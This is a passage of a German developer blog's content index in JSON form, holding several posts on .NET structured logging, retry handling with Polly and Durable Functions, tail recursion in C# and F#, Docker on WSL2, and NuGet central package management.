2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/cloud-first-identity-management_hue5a6ca665003a667a060894bab1baa50_126376_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/cloud-first-identity-management_hue5a6ca665003a667a060894bab1baa50_126376_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/cloud-first-identity-management-wie-wir-den-mim-in-den-ruhestand-schicken/","tags":["azure","idm"],"title":"Cloud-First Identity Management - Wie wir den MIM in den Ruhestand schicken"},{"categories":["Quick-Tipps"],"contents":"TL;DR:\nStop doing interpolated strings for logging and use the appropriate ILogger extension methods instead to enable structured logging from your .NET application. This allows for better log queries, analysis and searching through your logs in logging backends like Application Insights.\nBad ✗\nlog.LogError($\u0026#34;Job with Id {jobId} returned error code -1 and is now in {jobState} state.\u0026#34;); Good ✓\nlog.LogError(\u0026#34;Job with Id {JobId} returned error code {ErrorCode} and is now in {JobState} state.\u0026#34;, jobId, -1, jobState); What is Structured Logging? We speak of structured logging when delivering log messages not only as plain text but rather text enriched with additional information or data. While plain text ist hard to analyze and parse, with structured logging we give it a structure so it can be operated on based on specific, pre-defined and labeled data blocks embedded in our log messages. In practice this is done by transforming the log message string into an object (e.g. in JSON) which can then be processed by logging backends or providers like Application Insights.\nBehind the curtains, that is exactly what ILogger can do for you.\nILogger The ILogger interface provided by Microsoft Extensions Logging Abstractions is probably the most ubiquitous log writer in the .NET world and Azure when it comes to all things logging. It is injected into the service collection in newer versions of Azure Functions by default and forms pretty much the standard in ASP .NET Core as well. We heavily use it in our projects to write our application logs to Application Insights.\nFor writing structured logs to a logging provider supporting it like Application Insight does, the ILogger interface exposes appropriate method overrides for all the common log levels e.g. LogError.\npublic static void LogError (this Microsoft.Extensions.Logging.ILogger logger, string? message, params object?[] args); They provide separate parameters for supplying a message template and some varargs containing the matching values to substitute for in the template. A complete list of all the available extension methods for structured logging can be found in the docs .\nThe message template may look like an interpolated string on first sight but happens to be a normal string instead with (named) references to the respective values supplied, embedded between curly braces (Notice the dropped $-sign in comparison). Those will be substituted with the supplied values when printed out but serve as a reference when analyzing or searching logs for all occurences of such values.\nYou can pretty much compare that with relational database columns (the named references) and rows (the supplied values).\nlog.LogError(\u0026#34;Job with Id {JobId} returned error code {ErrorCode} and is now in {JobState} state.\u0026#34;, jobId, -1, JobState.Canceled); If you instead use interpolated strings here, substitution takes place in your application rather than in the logging backend, emitting just plain text so you loose all the benefits from structured logging.\nSpeaking of which \u0026hellip;\nThe benefits of Structured Logging If we instructed our application to emit structured logs we can take advantage of that for example in Application Insights when writing log queries. We are now able to reference the properties from the message template to filter efficiently e.g. for all errors where a job resulted in the canceled state:\ntraces | state = tostring(customDimensions[\u0026#34;prop__JobState\u0026#34;]) | where state == \u0026#34;canceled\u0026#34; That\u0026rsquo;s all I wanted to share with you for now real quick.\n","date":"1. Dezember 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/the-structured-logging_hubfafb9f7b33b9c97dbdeedaf2695ce05_122919_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/the-structured-logging_hubfafb9f7b33b9c97dbdeedaf2695ce05_122919_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/structured-logging-with-.net-ilogger/","tags":[".net"],"title":"Structured Logging with .NET ILogger"},{"categories":["How to"],"contents":"Die Entwicklung von Web-APIs beinhaltet meist die Nutzung von Drittanbieter-APIs zu den entsprechenden Quellsystemen. Um eine gewisse Servicequalität zu gewährleisten, verwenden Drittanbieter-APIs technische Limitierungen. Meist betreffen diese die Summe der Aufrufe auf einzelne APIs innerhalb einer gewissen Zeitspanne (Burst) oder des gesamten Kontingents von Aufrufen für einen Tag. Wenn nun ein Aufrufer diese Limitierungen überschreitet, erhält dieser die HTTP-Antwort 429 Too Many Requests. Zum Teil ist dies Bestandteil des Geschäftsmodells der Drittanbieter: Durch entsprechende Tarife können diese Limitierungen erhöht oder sogar aufgehoben werden.\nIn diesem Blogbeitrag möchte ich auf die Möglichkeiten eingehen, welche bei der Entwicklung von Web-APIs mit Azure Functions auf NET-Basis bestehen. Hierbei möchte ich insbesondere auf die zeitliche Begrenzung von Aufrufen innerhalb einer Zeitspanne (Burst) eingehen.\nSzenario und Umgang mit 429 - Too Many Requests Im definierten Szenario ruft der eigenentwickelte wiederkehrend eine API des Drittanbieters auf. Beispielsweise können das Endpunkte des Drittanbieters sein, welche größere Datenmengen durch Paging bereitstellt. Diese API muss also wiederkehrend aufgerufen werden. Bei einer großen Datenmenge kann dies schnell die definierten Limits übersteigen, da die abzurufende Menge unklar ist. Dies kann also schnell zu einer 429 Too Many Requests-Antwort führen.\nUm die Resilienz unserer Implementierung zu steigern, muss bei einer entsprechenden Antwort ein Retry-Mechanismus ausgeführt werden, sodass unser Service nicht direkt mit einer Exception den Dienst quittiert.\nPolly Mit Polly kann ein Fehlerhandling für die verwendeten HTTP-Clients zentral implementiert werden. So kann mithilfe von Polly, z.B. auf Timeout-Fehler, reagiert oder Retry-Mechanismen implementiert werden.\nNach der Installation des NuGet-Packages, kann in der Startup-Klasse der HTTP-Client über Dependency Injection konfiguriert werden.\nNeben der grundsätzlichen Konfiguration des Clients (via AddHttpClient) kann auch auf bestimmte Fehlerantworten reagiert werden (via HandleTransientHttpError).\nIm folgenden Code-Snippet wird ein Retry-Mechanismus für eine 429 Too Many Requests-Antwort des HTTP-Clients implementiert. Nach einer 429-Antwort wird jeweils 10 Sekunden gewartet und insgesamt 3 Retrys durchgeführt.\nservices.AddHttpClient(\u0026#34;myCustomHttpClient\u0026#34;, (sp, client) =\u0026gt; { client.BaseAddress = new Uri(Environment.GetEnvironmentVariable(\u0026#34;BaseAddressThirdParty\u0026#34;)!); }) .AddPolicyHandler((sp, req) =\u0026gt; { return HttpPolicyExtensions .HandleTransientHttpError() .OrResult(response =\u0026gt; response.StatusCode == HttpStatusCode.TooManyRequests) .WaitAndRetryAsync( retryCount: 3, sleepDurationProvider: retryAttempt =\u0026gt; TimeSpan.FromSeconds(10 * retryAttempt), onRetry: (exception, timeSpan, attemptNumber, context) =\u0026gt; { sp.GetService\u0026lt;ILogger\u0026lt;HttpClient\u0026gt;\u0026gt;() .LogWarning( $\u0026#34;Http-Error: 429-TooManyRequests; Delay: {timeSpan.TotalMilliseconds}ms; Retry-Attempt: {attemptNumber}; ResponseMessageContent: {exception.Result?.Content.ReadAsStringAsync()?.Result}; Exception-Message: {exception.Exception?.Message}\u0026#34;); }); }); Bei der Dependency Injection des implementierten Services muss nur noch der konfigurierte HttpClient übergeben werden:\nservices.AddTransient\u0026lt;IMyService, MyService\u0026gt;( c =\u0026gt; { return new MyService( \u0026#34;path-url/\u0026#34;, c.GetService\u0026lt;IHttpClientFactory\u0026gt;().CreateClient(\u0026#34;myCustomHttpClient\u0026#34;) ); }); Allerdings muss hierbei berücksichtigt werden, dass die Zeit jedes Aufrufs innerhalb der Function zur Gesamtausführungszeit addiert wird. Dies bedeutet, dass die Gesamtdauer von 230 Sekunden einer HTTP-Trigger-Function nicht überschritten werden darf, da sonst ein allgemeiner Function-Timeout der Azure Function geworfen wird.\nDurable Function Nun bringen Durable Functions durch ihre Funktionsweise mit einer Orchestrierung und dazugehörende Activities eine neue Herangehensweise, um langläufige asynchrone Ausführungen abzubilden. Dankenswerterweise liefern Durable Functions bereits Retry-Mechanismen out-of-the-box mit.\nUm nun in ähnlicher Weise, wie bei unserem Use-Case mit Polly, lediglich auf 429 Too Many Requests-Antworten reagieren zu können, sind einige Anpassungen der Durable Function vonnöten.\nZunächst benötigen wir eine Klasse, die alle notwendigen Attribute wie den HTTP-Statuscode und die Dauer für den Retry vereint. Hiermit werden die notwendigen Daten gehalten, um in der Druable Function die Wartedauer und den Statuscode der Serviceantwort der Drittanbieter-API abzurufen.\nusing System; using System.Net; public class DurableFunctionsException : Exception { public DurableFunctionsException(HttpStatusCode httpStatusCode, TimeSpan? retryAfterTimeSpan) { this.HttpStatusCode = httpStatusCode; this.RetryAfterTimeSpan = retryAfterTimeSpan; } public HttpStatusCode HttpStatusCode { get; set; } public TimeSpan? RetryAfterTimeSpan { get; set; } } In der eigentlichen Implementierung und Verwendung eines HttpClients, z.B. in einer Activity, muss nur noch geprüft werden, ob der Aufruf eine 429-Antwort erzeugt und unsere DurableFunctionsException geworfen wird.\n// Some Code of a Service ... var response = await this.httpClient.GetAsync($\u0026#34;{this.pathUrl}\u0026#34;); if(!response.IsSuccessStatusCode) { throw new DurableFunctionsException(response.StatusCode, response.Headers.RetryAfter.Delta); } // More Code of an Service ... In der Orchestrator-Function wird uns mithilfe der Property RetryOptions ein Callback bereitgestellt, welcher definiert, ob eine Activity einen Retry durchführen soll oder nicht. Die Handle-Property prüft den Statuscode unserer DurableFunctionsException und gibt einen entsprechenden Boolean-Wert zurück.\n// Some Code of a the Orchestration ... var retryOptions = new RetryOptions(TimeSpan.FromSeconds(10), 3) { Handle = (Exception ex) =\u0026gt; { var durableFunctionException = ex.InnerException as DurableFunctionsException; return durableFunctionException != null \u0026amp;\u0026amp; durableFunctionException.HttpStatusCode == HttpStatusCode.TooManyRequests; }, }; // More Code of a the Orchestration ... Mithilfe der vorher ermittelten RetryAfter-TimeSpan können wir nun in der Orchstrator-Function auf eine 429-Antwort reagieren. Im Catch-Block wird ein Wait-Timer auf Orchestrator-Ebene erzeugt, mit der ermittelten RetryAfter-TimeSpan. Mithilfe der ContinueAsNew-Methode wird der Orchestrator neu gestartet. Der Orchestrator führt hierdurch nur die ausstehenden Activities aus, bereits ausgeführte Activities und ermittelten Ergebnisse werden somit wiederverwendet. Somit wird nach dem Wait bei der letzten Activity angeknüpft, welche unsere Fehler-Activity mit der 429-Antwort war.\n// Some Code of a the Orchestration ... try { var result = orchestrationContext.CallActivityWithRetryAsync\u0026lt;MyEntity\u0026gt;(nameof(GetMyEntityActivity), retryOptions, myEntity); return result; } catch(Exception ex) { var durableFunctionsException = ex.InnerException as DurableFunctionsException; if(durableFunctionsException != null \u0026amp;\u0026amp; durableFunctionsException.HttpStatusCode == HttpStatusCode.TooManyRequests \u0026amp;\u0026amp; durableFunctionsException.RetryAfterTimeSpan.HasValue) { var retryAtDateTime = orchestrationContext.CurrentUtcDateTime.Add((TimeSpan)durableFunctionsException.RetryAfterTimeSpan); await orchestrationContext.CreateTimer(retryAtDateTime, CancellationToken.None); orchestrationContext.ContinueAsNew(null); } } // More Code of a the Orchestration ... Fazit Unabhängig davon, ob man sich nun für Polly oder die Retry-Mechanismen der Durable Functions entscheidet: Man sollte dies immer mit einer Prise Vorsicht tun. Es hängt immer vom Anwendungsfall ab (z.B. im Durable-Functions-Kontext, sollte man immer auf die mitgelieferte Funktionalität setzen). Auch sollte man sich beim Entwickeln den jeweiligen Konsequenzen bewusst sein. Grundsätzlich erhält man aber durch die in diesem Blogbeitrag gezeigten Beispiele einen guten Einstieg, um seine APIs resilienter zu gestalten.\n","date":"25. Oktober 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/azure-functions-retry-mechanismen_hu913035a57be13509067f5d2c4ca6dda6_20668_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/azure-functions-retry-mechanismen_hu913035a57be13509067f5d2c4ca6dda6_20668_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/429-too-many-requests-retry-mechanismen-mit-azure-functions/","tags":[".net"],"title":"429 - Too Many Requests: Retry-Mechanismen mit Azure Functions"},{"categories":["Insights"],"contents":"Confession time. I am a true fan of functional programming and its concepts. Maybe that\u0026rsquo;s why I was curious lately how the prominent .NET compilers deal with tail recursion1. So I started investigating.\nTL;DR:\nIt\u0026rsquo;s complicated.\nDespite the runtime supporting TCO with a special IL instruction , tail-recursive function calls are never optimized nor requested to do so by the C# compiler. So in general2, if you recurse too deep, expect the infamous StackOverflow exception. That is in contrast with F# where any tail calls are always eliminated. Both compilers have their own reasons for behaving differently.\nReady for some insights? Read on!\nTail Call Optimization As you may know, source code targeting the .NET runtime isn\u0026rsquo;t directly compiled into native machine code as understood by the CPU. Rather, the compiler emits dynamic libraries containing so called MSIL (Microsoft Intermediate Language) instructions. Those assembly-like instructions are later translated into real machine code by the CLR (Common Language Runtime). Code optimizations are performed at each stage by both the compiler and the CLR.\nOne of those optimizations is tail call optimization. A tail call is a function call occuring as the last instruction of a function before returning. If this call is a recursive call to the function itself, the function is tail-recursive. This makes a difference because one problem with recursion in general is that the current execution context, or stack frame, must be preserved for when the recursive call returns. Therefore, a new stack frame is allocated for each recursive call, running out of space if the recursion gets too deep at some point - the infamous StackOverflow (left side in the picture). This can be avoided in tail recursive functions by effectively transforming the recursion into an iterative loop, or, with (non-recursive) tail calls in general, by converting the tail call to a cross-method jump reusing the current stack frame (right side in the picture). This is referred to as Tail Call Optimization (TCO) or Tail Call Elimination.\nPerforming TCO can be requested from the CLR by emitting a special IL instruction . The F# compiler makes use of this for tail calls and additionally transforms tail-recursive functions into iterative loops by itself. The C# compiler does neither.\nWhat? Let\u0026rsquo;s have a look.\nThe tail. opcode The following C# code declares and calls a very simple tail-recursive function summing up all numbers until n. I compiled it with dotnet build -c Release and examined the resulting IL3 for the function.\nstatic int Sum(int n, int acc = 0) { if (n \u0026lt;= 0) return acc; return Sum(n - 1, n + acc); } Sum(30_000); .method assembly hidebysig static int32 \u0026#39;\u0026lt;\u0026lt;Main\u0026gt;$\u0026gt;g__Sum|0_0\u0026#39; ( int32 n, [opt] int32 acc ) cil managed { ... IL_0000: ldarg.0 IL_0001: ldc.i4.0 IL_0002: bgt.s IL_0006 IL_0004: ldarg.1 IL_0005: ret IL_0006: ldarg.0 IL_0007: ldc.i4.1 IL_0008: sub IL_0009: ldarg.0 IL_000a: ldarg.1 IL_000b: add IL_000c: call int32 Program::\u0026#39;\u0026lt;\u0026lt;Main\u0026gt;$\u0026gt;g__Sum|0_0\u0026#39;(int32, int32) IL_0011: ret } Even without much knowledge about IL we are quickly able to recognize the recursive call at IL_000c as it remained unchanged without any attempts for TCO made by the C# compiler. And indeed, when we execute our little program we are greeted with a StackOverflow exception. Ouch.\n$ ./tco.exe Stack overflow. Repeat 32119 times: -------------------------------- at Program.\u0026lt;\u0026lt;Main\u0026gt;$\u0026gt;g__Sum|0_0(Int32, Int32) -------------------------------- at Program.\u0026lt;Main\u0026gt;$(System.String[]) What the compiler could have done here to get around that problem - apart from re-writing the function as an iterative loop itself - is asking the CLR to eliminate the tail call by emitting the tail. opcode I already mentioned above. The instruction could have been placed directly above the recursive call instruction.\nLet\u0026rsquo;s play compiler and smuggle that in ourselves (I used dnSpy for editing the IL and writing it back to the DLL)\n.method assembly hidebysig static int32 \u0026#39;\u0026lt;\u0026lt;Main\u0026gt;$\u0026gt;g__Sum|0_0\u0026#39; ( int32 n, [opt] int32 acc ) cil managed { ... IL_0000: ldarg.0 IL_0001: ldc.i4.0 IL_0002: bgt.s IL_0006 IL_0004: ldarg.1 IL_0005: ret IL_0006: ldarg.0 IL_0007: ldc.i4.1 IL_0008: sub IL_0009: ldarg.0 IL_000a: ldarg.1 IL_000b: add IL_000c: tail. IL_000e: call int32 Program::\u0026#39;\u0026lt;\u0026lt;Main\u0026gt;$\u0026gt;g__Sum|0_0\u0026#39;(int32, int32) IL_0013: ret } You see the small but important difference at IL_000c? Now, when running the program again - it works. The CLR respected the tail. instruction and successfully eliminated the tail call for us upon execution.\n$ ./tco.exe $ But why wasn\u0026rsquo;t the compiler emitting the instruction in the first place then if this would\u0026rsquo;ve helped in avoiding a program crash?\nWell, before we address this question and see why the C# compiler is so adamant about not performing tail call optimizations or having them performed, let\u0026rsquo;s take a look at how the F# compiler compares.\nWait, it\u0026rsquo;s all loops? Always have been! Here\u0026rsquo;s the same code snippet as above but written in F# with the resulting IL produced by the F# compiler for the sum function.\nlet rec sum n acc = if n \u0026lt;= 0 then acc else sum (n - 1) (n + acc) sum 30_000 0 |\u0026gt; ignore .method public static int32 sum ( int32 n, int32 acc ) cil managed { ... IL_0000: nop IL_0001: ldarg.0 IL_0002: ldc.i4.0 IL_0003: bgt.s IL_0007 IL_0005: ldarg.1 IL_0006: ret IL_0007: ldarg.0 IL_0008: ldc.i4.1 IL_0009: sub IL_000a: ldarg.0 IL_000b: ldarg.1 IL_000c: add IL_000d: starg.s acc IL_000f: starg.s n IL_0011: br.s IL_0000 } No recursive call this time. The F# compiler effectively transformed the tail-recursive function into a classic iterative loop instead. As a consequence the program does not crash on execution due to running out of stack space.\n$ ./tco.exe $ As a bonus, we can show with the following little example of a non-recursive tail call that the F# compiler also emits the tail. instruction to request TCO from the CLR.\nlet f g n = g n .method public static !!b f\u0026lt;a, b\u0026gt; ( class [FSharp.Core]Microsoft.FSharp.Core.FSharpFunc`2\u0026lt;!!a, !!b\u0026gt; g, !!a n ) cil managed { ... IL_0000: ldarg.0 IL_0001: ldarg.1 IL_0002: tail. IL_0004: callvirt instance !1 class [FSharp.Core]Microsoft.FSharp.Core.FSharpFunc`2\u0026lt;!!a, !!b\u0026gt;::Invoke(!0) IL_0009: ret } Time to clear things up on why these compilers behave oh so differently!\nChoose your poison While C# and F# are both general-purpose, multi-paradigm programming languages, \u0026hellip;\n\u0026hellip; from the F# point of view\nas a functional-first language, iterative loops are discouraged for mutating state in favor of recursion. And when recursion is the way to go, it has to be optimized in order to produce robust and efficient programs. So F# wants you to use recursion, therefore, the compiler guarantees TCO.\n\u0026hellip; from the C# point of view\nas a more imperative language, iterative loops are conceptionally fine and (optimizing) deep recursion makes debugging harder as stack traces are destroyed. Thus, C# wants you to write loops instead and the compiler never wants TCO to happen.\nSo in the end it boils down to a question of principles and influences. Regardless of what camp you\u0026rsquo;re in, I believe it is important for .NET developers to have an understanding about the behavior of the compiler regarding TCO in their favorite languages to write robust and performant programs.\nHope that article helped you with that!\nObjektkultur is a german software service provider, partner of Microsoft and expert in .net development to understand the concept of recursion, see 1.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsometimes the JIT optimizes the IL further and eliminates the tail call but don\u0026rsquo;t rely on that.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nthe attentive reader may have recognized that I introduced a potential integer overflow here. Don\u0026rsquo;t do this at home but let\u0026rsquo;s not care for this example. Also, I omitted parts of the function for brevity.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"12. Oktober 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/about-tailrecursion-in-dotnet_huc01d54a0b030a7cb69b1dc96665d379d_46937_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/about-tailrecursion-in-dotnet_huc01d54a0b030a7cb69b1dc96665d379d_46937_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/about-tail-recursion-in-.net/","tags":[".net"],"title":"About Tail Recursion in .NET"},{"categories":["How to"],"contents":"Docker Desktop für Windows ist nicht mehr kostenlos. Anwender sind unsicher, was zu tun ist und welche Alternativen jetzt bestehen. Wer im Developer-Workflow nur einen Teil der Funktionen benötigt, für den zeige ich hier eine interessante Alternative.\nDie Chancen stehen heute nicht schlecht, auf den Rechner von Menschen aus dem IT-Sektor auf Docker zu treffen. Die 2013 vorgestellte Software ist seit Jahren eine der am meisten verwendeten Container-Umgebungen. Im November 2019 kaufte der OpenStack-Spezialist Mirantis das Docker-Enterprise-Geschäft und gut zwei Jahre später wurde bekanntgegeben, dass das Produkt Docker Desktop nicht länger kostenlos sein wird: Wer mehr als 250 Mitarbeitende beschäftigt oder mehr als 10 Mio. USD Umsatz pro Jahr macht, muss für die Verwendung von Docker Desktop-Lizenzen erwerben. Seit dem 31. Januar 2022 ist die Frist zum Übergang abgelaufen.\nDer eine oder andere dachte, bei Docker Desktop handele es sich nur um das User Interface unter Windows, das ist aber nicht korrekt: Docker Desktop ist eine Sammlung von Bestandteilen wie der Docker Engine, Docker Compose, integriertem Kubernetes, Ressourcenmonitoring, automatischen Updates und mehr. Wer Verwendung für diese und weitere Features hat, ist mit dem Vollprodukt sicher nicht schlecht beraten.\nAllerdings benötigen viele Entwickler gar nicht alle Funktionen. Wer nur Container laufen lassen oder Images bauen möchte, kommt mit einem wesentlich kleineren Funktionsumfang aus. Zu den am häufigsten per Container benutzten Technologien gehören Produkte wie NGINX, Redis und Postgres, oder auch Elasticsearch oder Mysql. Nicht jeder benötigt Kubernetes auf seinem lokalen Gerät.\nDeveloper, Meet Linux Ich sags mal rund heraus: Wer Software für Server oder Container schreibt, kommt um Linux nicht herum. Auch wenn Java und Javascript (auch) unter Windows laufen, so ist das \u0026ldquo;natürliche Habitat\u0026rdquo; doch Linux: Images gängiger Produkte wie die gerade erwähnten basieren auf Debian oder Ubuntu Linux, oder Alpine Linux. Nicht Windows. Wer solche Images erweitern möchte, muss Syntax und Konzepte von Bestandteilen wie der Bash Shell, Linux Filesystems oder aus dem *NIX Umfeld bekannte Tools verwenden.\nZu Zeiten eines Steve Ballmer tat man bei Microsoft noch so, als sei Linux die Pest und Menschen wie Linus Torvalds der Antichrist. Das ist lange vorbei. Heute bietet Microsoft mit dem Windows Subsystem for Linux (WSL) eine beständig besser werdende Linux-Integration seit Windows 10 an. Im Microsoft Store finden sich betriebsfertige Downloads für Distributionen wie Ubuntu, OpenSUSE, Kali, Debian, Arch Linux und weitere. You\u0026rsquo;ve come a long way, Microsoft.\nZusammen mit dem ebenfalls kostenlosen Visual Studio Code (VScode) eröffnet das dem Entwickler eine spannende Alternative zu Docker Desktop.\nVisual Studio Code, WSL2 und Docker/containerd Das Geheimnis ist die Fähigkeit von VScode, sich mit entfernten Maschinen zu verbinden: VS Code Remote Development funktioniert mit SSH und anderen Transporten, besonders einfach aber mit WSL.\nIn dem wir die IDE unter Windows installieren, deren Prozesse aber unter Linux laufen, erhalten wir das Beste aus beiden Welten. Unter Linux kann man auf Shells wie Bash oder ZSH zugreifen, Tools wie wget oder rsync verwenden und Utilities wie sed und awk nutzen. Und wir können Docker unter Linux installieren, und dieses komfortabel via Windows/VScode verwenden.\nInstallation In einer Administrator-Powershell führen wir den Befehl wsl --install aus. Dieser Befehl aktiviert die für die Ausführung von WSL erforderlichen Features und installiert die Ubuntu-Distribution von Linux. Beim ersten Start vergeben wir einen Benutzernamen und ein Passwort unter Linux. Dieses muss nicht dem Windows-Passwort entsprechen. Wir folgen der Dokumentation zur Installation von Docker unter Linux. Der in Schritt 2 angelegt User wird Docker-Nutzer mit dem Kommando sudo usermod -aG docker $USER Zuletzt starten wir den Docker-Service in Linux beim Start von WSL automatisch: WSL boot-Setting [boot] command = service docker start Nach dieser Prozedur steht ein vollständiger Docker-daemon unter Linux zur Verfügung. Diesen verwenden wir mit VScode so:\nWir installieren VScode unter Windows, sowie das Remote Development extension pack Drücken Sie F1 und wählen Sie Remote-WSL: New Window aus. VScode sollte jetzt (einmalig) benötigte Komponenten nachladen und die Prozesse auf der WSL-Seite starten. Das passiert alles automatisch. Und Docker? VScode bietet ein großes Angebot von Erweiterungen, sehr viele davon sind kostenlos nutzbar. Dazu zählt auch Docker for Visual Studio Code . Diese unter MIT-Lizenz stehende Erweiterung bietet uns direkt aus VScode die Möglichkeit\nDockerfiles mit Syntaxunterstützung zu erzeugen und zu bearbeiten Details des lokalen Docker Daemon zu steuern, darunter geladene Images, Netzwerke und Volumes sich zu Registries zu verbinden Docker Compose zu benutzen Services in einem laufenden Container zu debuggen das Azure CLI zu verwenden Und als Bonus können wir unter Linux Tools wie das hervorragende lazydocker verwenden, eine einfach zu nutzende, textbasierte UI für Docker.\nHappy dockering!\nWeiterführende Informationen Windows-Subsystem für Linux: Dokumentation Install Docker Engine on Ubuntu (en) VScode: Developing in WSL ","date":"7. Oktober 2022","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/docker-windows-wsl-ein-starkes-team_hu18b23c57d33f9bda1efa28b885741f91_212286_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/docker-windows-wsl-ein-starkes-team_hu18b23c57d33f9bda1efa28b885741f91_212286_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/docker-windows-wsl-ein-starkes-team/","tags":["low-code"],"title":"Docker, Windows, WSL - ein starkes Team"},{"categories":["How to","Quick-Tipps"],"contents":"Für alle NuGet -Konsumenten gibt es eine neue und interessante Funktion: Die zentrale Paketverwaltung ! Sie erlaubt die Pflege der zu verwendenden NuGet-Paketversionen an zentraler Stelle in einer einzigen Datei. Die Funktionalität kann bereits mit aktuellen Release-Entwicklungswerkzeugen verwendet werden, befindet sich jedoch noch im Vorschaustatus.\nMittels \u0026lt;PackageVersion\u0026gt; kann in einer Directory.Packages.props-Datei angegeben werden, welche Versionen der Pakete verwendet werden sollen:\n\u0026lt;Project\u0026gt; \u0026lt;ItemGroup\u0026gt; \u0026lt;PackageVersion Include=\u0026#34;Microsoft.Data.SqlClient\u0026#34; Version=\u0026#34;5.0.0\u0026#34; /\u0026gt; \u0026lt;/ItemGroup\u0026gt; \u0026lt;/Project\u0026gt; Anschließend kann in einer Projektdatei bei einer \u0026lt;PackageReference\u0026gt; das Version-Attribut weggelassen werden, um die zentral vorgegebene zu nutzen:\n\u0026lt;Project Sdk=\u0026#34;Microsoft.NET.Sdk\u0026#34;\u0026gt; \u0026lt;PropertyGroup\u0026gt; \u0026lt;TargetFramework\u0026gt;net6.0\u0026lt;/TargetFramework\u0026gt; \u0026lt;ManagePackageVersionsCentrally\u0026gt;true\u0026lt;/ManagePackageVersionsCentrally\u0026gt; \u0026lt;/PropertyGroup\u0026gt; \u0026lt;ItemGroup\u0026gt; \u0026lt;PackageReference Include=\u0026#34;Microsoft.Data.SqlClient\u0026#34; /\u0026gt; \u0026lt;PackageReference Include=\u0026#34;StackExchange.Redis\u0026#34; VersionOverride=\u0026#34;2.6.48\u0026#34; /\u0026gt; \u0026lt;/ItemGroup\u0026gt; \u0026lt;/Project\u0026gt; Die Directory.Packages.props-Datei gilt für alle Projekte im selben oder in untergeordneten Verzeichnissen (unabhängig von Projektmappen!). Mittels des VersionOverride-Attributs können Projekte von den zentral erfassten abweichende Versionen für Pakete vorgeben.\nAktiviert wird die zentrale Paketverwaltung über die MSBuild -Eigenschaft \u0026lt;ManagePackageVersionsCentrally\u0026gt; innerhalb einer \u0026lt;PropertyGroup\u0026gt;. Diese Eigenschaft kann (wie im Beispiel) für einzelne Projekte oder über die Directory.Packages.props-Datei für mehrere Projekte auf einmal gesetzt werden.\nAchtung: Sobald die zentrale Paketverwaltung für ein Projekt aktiviert ist, sind nur noch \u0026lt;PackageReference\u0026gt;-Elemente komplett ohne Versionsnummern oder mit VersionOverride-Attribut gültig. Wenn nur das Version-Attribut verwendet wird, führt dies zu einem Fehler. Interessanterweise ist es kein Fehler, wenn beide Attribute vorhanden sind – in diesem Fall gewinnt jedoch das Version-Attribut!\nTrotz zentraler Paketverwaltung muss nicht für alle Pakete eine Version in einer Directory.Packages.props-Datei gepflegt werden; es ist weiterhin möglich, neue Pakete mittels \u0026lt;PackageReference\u0026gt; in der Projektdatei zu erfassen. Dies ist etwa im obigen Beispiel bei StackExchange Redis zu sehen.\nTooling-Kompatibilität Die diesen Monat erschiene Visual Studio Version 17.3 ist zu empfehlen. Offiziell unterstützt wurde die Funktionalität zwar bereits mit 17.2 (siehe Ankündigung ), allerdings konnte die enthaltene NuGet-UI die zentrale Versionsdatei noch nicht verändern. Ab 17.3 werden alle Paketänderungen für Projekte mit zentraler Verwaltung in der Directory.Packages.props-Datei umgesetzt. Nur noch bei Verwendung des VersionOverride-Attributs gibt es Schwierigkeiten, die manuelles Eingreifen erfordern. Eine grafische Oberfläche für die direkte Pflege der Directory.Packages.props-Datei fehlt jedoch weiterhin.\nVon der Verwendung des .NET SDK für die Paketverwaltung ist hingegen noch abzuraten. Auch in der Version 7.0.0-preview.7 deckt sich das Verhalten mit Visual Studio 17.2 und führt nicht zu den gewünschten Ergebnissen.\nPaketquellenzuordnung Falls mehr als eine NuGet-Paketquelle konfiguriert ist (etwa ein lokaler Paketfeed ), müssen in einer NuGet.Config-Datei Regeln 